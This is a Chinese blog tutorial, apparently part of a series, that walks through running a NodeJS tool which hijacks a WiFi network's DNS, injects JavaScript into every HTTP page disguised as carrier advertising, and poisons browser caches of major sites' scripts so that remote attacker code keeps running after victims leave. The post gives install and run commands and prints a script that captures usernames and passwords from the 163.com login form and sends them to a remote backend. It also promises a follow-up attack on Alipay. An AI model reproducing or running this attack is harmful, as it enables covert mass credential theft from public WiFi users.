在上一篇《WiFi流量劫持—— 浏览任意页面即可中毒》构思了一个时光机原型,让我们的脚本通过HTTP缓存机制,在未来的某个时刻被执行,因此我们可以实现超大范围的入侵了。
基于此原理,我们用NodeJS来实现一个简单的样例。得益于node强大的IO管理,以及各种封装好的网络模块,我们可以很容易实现这个想法:
- 开启一个特殊的DNS服务:所有域名都解析到我们的电脑上。并把Wifi的DHCP-DNS设置为我们的电脑IP。
- 之后连上Wifi的用户打开任何网站,请求都将被我们的node服务收到。我们根据http头中的host字段来转发到真正服务器上。
- 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户了!
- 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。我们将其感染,并设置超长的缓存时间。
于是大功告成!
为了方便测试和控制,已把整个流程:DNS、HTTP代理、代码分析和注入都使用NodeJS编写,并整合在一起。下面就来测试一下!
获取Demo: (https://github.com/EtherDream/closurether)
# npm install -g closurether
运行:
# closurether
启动成功的话,会输出:
[SYS] local ip: 192.168.1.250 [DNS] running 0.0.0.0:53 [WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
当然,192.168.1.250这是我本地的IP,推荐使用固定的IP地址。
打开无线路由器-DHCP配置,将主DNS设置为自己的IP,重启路由。到此,你已经控制了整个无线网络的流量了!
用另一台电脑连上你的wifi:
这时会发现,ping任何域名,不出意外的话都会返回你的IP,DNS劫持已发挥作用了!
$ ping www.baidu.com PING www.baidu.com (192.168.1.250): 56 data bytes Request timeout for icmp_seq 0 $ ping www.google.com PING www.google.com (192.168.1.250): 56 data bytes Request timeout for icmp_seq 0
打开任意网页,一切正常。我们可以在node控制台看到用户访问的每一个请求。
当然这时网页上什么效果也没出现。这个Demo毕竟是个间谍程序,怎么可能会有界面呢?
想看效果的话修改项目里的asset/inject/extern.js,往里面加一条:
alert('Hello World');
这时再刷新页面,效果出现了!
打开任意网页的源文件,发现其中都注入了我们的脚本内容。为了隐蔽性,这里将注入的脚本伪装成运营商的url,别人还以为是联通宽带插的广告 ^_^
具体想伪装成什么地址,可以在config.json里配置。
脚本内容正是asset/inject/extern.js文件:
到此,我们已实现把javascript代码注入到WiFi网络的HTTP流量里了!
下面测试我们的终极目标:能穿越到未来执行的脚本时光机。
前面仔细观察的话,不难发现注入的脚本内容里多出一大堆url,这些正是我们需要让用户预加载并缓存的各大网站脚本。具体原理在上一篇里已经详细讲解了。
如果想入侵更多的网站,往tool/cache-sniffer/url.txt里添加。运行:
$ phantomjs sniffer.js
程序将自动更新注入脚本的内容。
要想预加载并缓存一个脚本很容易,只需new Image().src='...'。当然有少数浏览器不支持,不过ie和chrome都是支持的。尽管js文件并不是一个图片,但仍然会缓存。(不过现在已经换成更标准的createElement / appendChild了,没有任何兼容性问题)
上一篇文章已说明,为了减少一次请求大量脚本文件消耗的带宽,我们并不返回真正的原始脚本文件,而是一个很小的“桩文件”,用来启动我们的入侵代码,以及恢复原始脚本文件。
因此这个“桩文件”代码量非常少,区区百来字节而已。例如hao123网站下的某个已被感染了的脚本:
我们创建两个script元素,来加载外网的入侵代码,以及恢复原始脚本代码,使网页能正常运行。注意:原始脚本url后面的?1必不可少,否则又会从缓存里加载被感染的当前脚本,进入死循环。
使用document.write的好处在于,它创建的脚本是异步加载顺序执行的。所以在原始脚本未加载完之前,后面的脚本不会执行,避免了未定义错误的发生。
入侵代码的url可以在config.json里hacker_url字段配置。为了保证未来被感染的脚本被唤醒时,能正常调出你的入侵代码,所以选择一个可靠的外网来存放。
本Demo演示如何入侵并截获网易首页的账号,可以参考代码:http://jslog.sinaapp.com/ad.js。
演示中的代码很简单,仅仅捕捉用户在网易首页上输入的账号和密码而已,然后传给后台保存到数据库里。
var url = location.href; if (/\.163\.com/i.test(url)) { function onSubmit() { post( NTES.one('#js_loginframe_username').value, NTES.one('input[type=password]').value ); } NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit); NTES.one('input[type=password]').addEventListener('keydown', function(e) { if (e.keyCode == 13) { onSubmit(); } }); }
下面重启电脑,并连上家里的WiFi。(连过KFC的用户回家之后的情况)
这时用户的流量已完全不在我们的可控之中,看我们的脚本是否仍能从沉睡之中唤醒呢?
打开www.163.com,一切正常~
输入用户名密码,一切正常~
似乎并没有感觉到任何的异常。回到我们自己的电脑上来看看,后台的笼子里是否有猎物捕捉到。。。
很好,我们的入侵代码已成功执行,在用户离开了我们的网络之后依旧能够运行!只要登录了我们事先感染过的那些网站,入侵代码都将会被唤醒。
事实上,只要用户不清空缓存,这段代码终将附着在硬盘缓存里,直到过期。有可能是1个星期,甚至数月的时间。
所谓一时失足成千古恨莫过于此。一时大意连接了一个wifi热点,不经意间间谍已潜入你的浏览器缓存里。。。
==============================
使用NodeJS,我们只需数百行代码就实现了这个想法。当然,简单的同时缺点也是不言而喻的。node只提供了传输层的网络接口,我们无法操作底层网络数据。所以只能使用DNS劫持的方法来获得用户的流量。因此也就产生了一个非常纠结的问题:
怎样才能确定用户查询的域名是HTTP主机呢?
由于我们把所有的域名都解析到了自己的电脑上,因此包括其他的网络程序数据也转发到了我们这里。然而我们的node只监听了tcp:80端口,对于其他的端口则是完全忽略的。
即使我们监听了其他端口,我们也无法把收到的数据转发到真实的服务器 —— 我们根本不知道发到哪个地址上!
HTTP之所以能实现转发,得益于头部有个host字段;而非HTTP协议,甚至包括HTTPS,我们只能收到一堆二进制数据,然后就不知道的该交给谁了。
此问题虽然无法避免,但也有一定程度的解决方案:
1.) 事先收集各大网站的域名。之后用户查询的域名在列表里的话,直接返回自己的电脑IP;否则转发给外网DNS。
当记录足够多的话,我们可以拦截住用户大多数的网站流量。
但要收集大量的网站域名并不容易,而且仍会有不少的遗漏。因此我们使用更简单的方法:
2.) 仍然将所有的域名解析到自己电脑上,但域名TTL时间很短,几秒后就过期。
如果在之后的几秒时间里,收到访问这个域名的http请求(host字段是这个域名),那么就认为这个域名是http服务的;
如果规定时间里没有收到,那么就当做非http服务的域名。当域名ttl过期后,下次再查询这个域名时,就解析到外网真实的服务器IP了。反正不是http协议,收到了也没用。
3.) 尝试访问前来请求域名的80端口。如果能连接上,就当做是一个Web域名。就返回自己的IP。
目前使用方法3来识别域名。事实上基于DNS的流量劫持还有更大缺陷:
- 如果用户手工设置的DNS怎么办?比如8.8.8.8的用户就非常多。
- 不是80端口的网站又如何是好?难道我们要把1~65535的端口都监听吗?
- 一个网站域名下同时有http和其他服务了,拦截就导致那个服务不可用了。
- 最麻烦的当属纯IP的网站,那么就完全无法拦截了~
纠结之处就不再吐槽,不然就永远实现不了我们的想法了,以后再使用node扩展慢慢完善。
即便面临着不少问题,我们的Demo仍能顺利跑起来 —— 完全按照我们的预想运行!
==============================
当然,你在想这招也只能获取普通的账号而已,对于https加密的账号就无能为力了。
的确如此,不过别忘了https网站是如何登陆的呢?是用户在地址栏一个字符一个字符的敲入https...然后回车吗?
下一篇将演示如何把javascript注入到支付宝网页,并截获用户的账号和密码。
相关推荐
淘宝客劫持PID插件——收入到爆
"IE 自动设置脚本"是一个专门用于批量或无人值守配置Internet Explorer浏览器的工具。这种脚本通常由批处理文件(如 `IEconfig.bat`)实现,它可以执行一系列命令来调整IE的设置,包括主页设置、安全级别、隐私设置...
JavaScript过滤危险脚本是Web开发中的重要安全措施,主要用于防止跨站脚本攻击(XSS,Cross-Site Scripting)。XSS攻击允许攻击者在用户的浏览器中注入恶意脚本,可能导致敏感数据泄露、用户会话劫持等严重后果。...
《信息安全之Web劫持与流量劫持法律治理研究》这篇文献深入探讨了当前网络空间中的两大安全威胁:Web劫持和流量劫持,并且聚焦于它们的法律治理问题。这是一篇结合技术与法规的深度分析,对于理解网络安全法律体系的...
具体操作流程包括获取WiFi上网凭证、生成运营商登录凭证、获取Portal劫持页面脚本数据、连接WiFi、使用Portal劫持脚本调用厂商提供的登录接口传递认证数据、返回认证结果信息等。 此外,规范还提供了时序图操作流程...
### Exploit-Exercises Nebula全攻略——Linux平台下的漏洞分析入门 #### Exploit-Exercises简介 Exploit-Exercises是一个专为学习者设计的Linux平台下的安全实践平台,旨在帮助用户通过实际操作的方式掌握漏洞...
第5章 XSS Worm,讲解了Web 2.0的最大威胁——跨站脚本蠕虫,剖析了Web 2.0相关概念和其核心技术,这些知识对于理解和预防XSS Worm十分重要。第6章 Flash应用安全,就当前的Flash应用安全做出了深入阐述。第7章 深入...
而“h5动态注入js代码”是指在H5页面运行时,通过JavaScript程序动态地向页面中添加或修改JavaScript代码,以实现更灵活的功能扩展和页面交互。这种方式常见于响应式设计、数据可视化、用户行为追踪等多种场景。 一...
【流量劫持概述】 流量劫持是指在网络通信过程中,攻击者通过某种手段干扰正常的数据传输,使得原本应发送到目标地址的数据被重定向到攻击者控制的服务器上。这种攻击通常发生在网络的某个节点,如路由器、交换机或...
脚本入侵技术是一种网络安全攻击方式,它主要利用脚本语言(如JavaScript、VBScript、PHP等)的漏洞或不安全的编程实践来攻击目标系统。在"脚本入侵技术概述分析一"这个主题中,我们将深入探讨这种技术的原理、常见...
脚本入侵专题是一种网络安全问题,主要涉及Web应用的安全性,其中攻击者利用脚本语言漏洞进行非法活动。本文将深入探讨脚本入侵的概念、类型、常见攻击手法以及防范措施。 一、脚本入侵概述 脚本入侵,也称为跨站...
小猿口算各种脚本 目前主流方案有三种,会慢慢增加相应的代码 OCR+模拟正确答案 劫持数据包+模拟正确答案 劫持数据包+篡改正确答案 如何使用 Clone项目 安装好Python环境 安装对于文件夹下面的requirements.txt内所...
这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、http代理过滤、内核...
- **安全审计**:验证域名指向的IP地址是否与预期一致,防止DNS劫持。 - **数据收集**:收集大量域名的解析信息,用于学术研究或数据分析。 实现批量Nslookup脚本时,需要注意的问题包括: - **错误处理**:对于...
流量劫持是一种网络行为,某些第三方软件(例如“WiFi共享大师”)可能会在用户不知情的情况下插入广告或者篡改网页内容,比如在网页右下角显示红包广告,这不仅影响用户体验,还可能对用户的隐私安全构成威胁。...
最新判断来路为搜索引擎跳转代码,js来路判断,用于搜索引擎流量劫持,.蜘蛛劫持功能,可以根据来路劫持,也可以根据蜘蛛进行劫持。泛站群跳转代码
《智能家居安全——身份劫持》是由挽秋(daizy)撰写的一篇关于智能家居安全性的深度文章,主要探讨了如何劫持智能家居设备的身份凭证,以及这种行为可能带来的危害和防范措施。文章首先介绍了智能家居设备的身份标识...